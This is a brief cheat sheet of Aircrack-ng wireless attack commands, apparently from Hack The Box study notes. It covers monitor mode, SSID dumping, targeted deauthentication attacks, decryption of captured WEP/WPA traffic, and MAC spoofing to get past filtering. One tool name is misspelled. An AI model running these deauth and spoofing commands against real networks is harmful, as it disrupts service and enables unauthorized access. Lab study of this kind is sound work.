Aircrack

Aircrack is a suite of wireless testing tools.

airmon-ng check kill
airmon-ng start wlan0

# Dump SSIDs in targeted bands or channels
airodump-ng wlan0mon -w HTB --band abg # Doesn't seem to work great.
airodump-ng wlan0mon -w HTB -c 11

# Discover client probes for ghost SSIDs
sudo airgraph-ng -i HTB-01.csv -g CPG -o HTB_CPG.png

# Deauth attacks
sudo aireplay-ng -0 5 -a 00:14:6C:7A:41:81 -c 00:0F:B5:32:31:31 wlan0mon

# Decrypt wireless traffic
WEP -> airdecap-ng -w Password123 protected.cap
WPA -> airedecap-ng -p Password123 wpa.cap -e "MyESSIDAP"

SSIDs may choose to hide their names or employ MAC filtering, both of which may commonly be bypassed through MAC changing and deauth attacks.

# Deauth
sudo aireplay-ng -0 5 -a 00:14:6C:7A:41:81 -c 00:0F:B5:32:31:31 wlan0mon

# Change MAC to deauthed client
sudo macchanger wlan0 -m 3E:48:72:B7:62:2A